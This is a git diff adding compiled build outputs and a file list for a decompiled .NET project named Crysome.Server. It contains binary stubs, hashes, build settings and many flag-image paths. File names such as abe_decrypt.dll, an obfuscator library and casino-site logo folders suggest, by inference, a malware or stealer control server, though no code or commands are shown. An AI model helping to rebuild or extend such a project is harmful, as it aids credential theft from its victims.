+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\fanduel.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\ignitioncasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\jackpot_city.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\leovegas.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\lucky_nugget.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\partycasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\pokerstars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\ruby_fortune.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\spin_casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\unibet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\william_hill.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\abe_decrypt.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.pdb diff --git a/Crysome.Server/obj/Debug/Crysome.Server.csproj.GenerateResource.cache b/Crysome.Server/obj/Debug/Crysome.Server.csproj.GenerateResource.cache new file mode 100644 index 0000000..6291c76 Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.csproj.GenerateResource.cache differ diff --git a/Crysome.Server/obj/Debug/Crysome.Server.dll b/Crysome.Server/obj/Debug/Crysome.Server.dll new file mode 100644 index 0000000..b2a0697 Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Debug/Crysome.Server.genruntimeconfig.cache b/Crysome.Server/obj/Debug/Crysome.Server.genruntimeconfig.cache new file mode 100644 index 0000000..a126a0a --- /dev/null +++ b/Crysome.Server/obj/Debug/Crysome.Server.genruntimeconfig.cache @@ -0,0 +1 @@ +84c9401c19e90473eda1f348e443f785c886739b9fb3ecb81914bc97a250eca0 diff --git a/Crysome.Server/obj/Debug/Crysome.Server.pdb b/Crysome.Server/obj/Debug/Crysome.Server.pdb new file mode 100644 index 0000000..cbe0d6f Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.pdb differ diff --git a/Crysome.Server/obj/Debug/apphost.exe b/Crysome.Server/obj/Debug/apphost.exe new file mode 100644 index 0000000..7fd2144 Binary files /dev/null and b/Crysome.Server/obj/Debug/apphost.exe differ diff --git a/Crysome.Server/obj/Debug/ref/Crysome.Server.dll b/Crysome.Server/obj/Debug/ref/Crysome.Server.dll new file mode 100644 index 0000000..4a6f0c4 Binary files /dev/null and b/Crysome.Server/obj/Debug/ref/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Debug/refint/Crysome.Server.dll b/Crysome.Server/obj/Debug/refint/Crysome.Server.dll new file mode 100644 index 0000000..4a6f0c4 Binary files /dev/null and b/Crysome.Server/obj/Debug/refint/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Server/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Server/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Server/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed new file mode 100644 index 0000000..27078d5 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/0AAE01BAC50A5ABFE42A6CDE715F391069FED72C.costura.naudio.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/0AAE01BAC50A5ABFE42A6CDE715F391069FED72C.costura.naudio.dll.compressed.compressed new file mode 100644 index 0000000..c100f36 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/0AAE01BAC50A5ABFE42A6CDE715F391069FED72C.costura.naudio.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/15853EED201623FC097E896D7EBDDBABAB8EEEC9.costura.wpf.ui.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/15853EED201623FC097E896D7EBDDBABAB8EEEC9.costura.wpf.ui.dll.compressed.compressed new file mode 100644 index 0000000..efac31e Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/15853EED201623FC097E896D7EBDDBABAB8EEEC9.costura.wpf.ui.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/3D862F84328D8FBA810DA31FFFCDFC53A8CF786C.costura.naudio.winforms.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/3D862F84328D8FBA810DA31FFFCDFC53A8CF786C.costura.naudio.winforms.dll.compressed.compressed new file mode 100644 index 0000000..ac572a1 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/3D862F84328D8FBA810DA31FFFCDFC53A8CF786C.costura.naudio.winforms.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/53D678EDC0352E7B62DBD1EE62B3839823C613BA.costura.dnlib.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/53D678EDC0352E7B62DBD1EE62B3839823C613BA.costura.dnlib.dll.compressed.compressed new file mode 100644 index 0000000..e10eea9 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/53D678EDC0352E7B62DBD1EE62B3839823C613BA.costura.dnlib.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/5D81E5384BD6F9FDEB34DABEC8F3026867332534.costura.crysome.common.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/5D81E5384BD6F9FDEB34DABEC8F3026867332534.costura.crysome.common.dll.compressed.compressed new file mode 100644 index 0000000..910ead3 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/5D81E5384BD6F9FDEB34DABEC8F3026867332534.costura.crysome.common.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/709BDB88C31B80CAB151A6F3F69B68C80A8F7207.costura.wpf.ui.abstractions.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/709BDB88C31B80CAB151A6F3F69B68C80A8F7207.costura.wpf.ui.abstractions.dll.compressed.compressed new file mode 100644 index 0000000..e259a1c Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/709BDB88C31B80CAB151A6F3F69B68C80A8F7207.costura.wpf.ui.abstractions.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed new file mode 100644 index 0000000..644a63c Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/9C534DDAF630B692E174EDD447FF175DA55674FF.costura.vestris.resourcelib.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/9C534DDAF630B692E174EDD447FF175DA55674FF.costura.vestris.resourcelib.dll.compressed.compressed new file mode 100644 index 0000000..6321067 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/9C534DDAF630B692E174EDD447FF175DA55674FF.costura.vestris.resourcelib.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed new file mode 100644 index 0000000..1a288eb Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed new file mode 100644 index 0000000..25d2ab8 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed new file mode 100644 index 0000000..de0f369 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/F05B4165D26513606C54AE417FFFA88E9475D6EB.costura.crysome.obfuscator.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/F05B4165D26513606C54AE417FFFA88E9475D6EB.costura.crysome.obfuscator.dll.compressed.compressed new file mode 100644 index 0000000..b8d8b98 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/F05B4165D26513606C54AE417FFFA88E9475D6EB.costura.crysome.obfuscator.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed new file mode 100644 index 0000000..113157e Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Costura/F2D969EE4EE64E6C962D49F64CDF40DAE1834C1D.costura.crysome.server.core.dll.compressed.compressed b/Crysome.Server/obj/Release/Costura/F2D969EE4EE64E6C962D49F64CDF40DAE1834C1D.costura.crysome.server.core.dll.compressed.compressed new file mode 100644 index 0000000..626b1e1 Binary files /dev/null and b/Crysome.Server/obj/Release/Costura/F2D969EE4EE64E6C962D49F64CDF40DAE1834C1D.costura.crysome.server.core.dll.compressed.compressed differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Server/obj/Release/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..9a03301 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Server +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Server/obj/Release/Crysome.Server.Resources.Strings.resources b/Crysome.Server/obj/Release/Crysome.Server.Resources.Strings.resources new file mode 100644 index 0000000..60ed930 Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.Resources.Strings.resources differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.assets.cache b/Crysome.Server/obj/Release/Crysome.Server.assets.cache new file mode 100644 index 0000000..c3ef5fb Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.assets.cache differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.AssemblyReference.cache b/Crysome.Server/obj/Release/Crysome.Server.csproj.AssemblyReference.cache new file mode 100644 index 0000000..8b4cb3b Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.csproj.AssemblyReference.cache differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.CoreCompileInputs.cache b/Crysome.Server/obj/Release/Crysome.Server.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..8a53b31 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +5f523d70e49c9c40f787864d496163778ae04db9cf68f4a14db2dc511c16ff17 diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.FileListAbsolute.txt b/Crysome.Server/obj/Release/Crysome.Server.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..10f5655 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.csproj.FileListAbsolute.txt @@ -0,0 +1,856 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\abe_decrypt.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AX.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AX@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AX@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\AZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BB.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BB@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BB@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BV.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BV@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BV@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BY.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\BZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CAF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CAS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\CD@2x.png 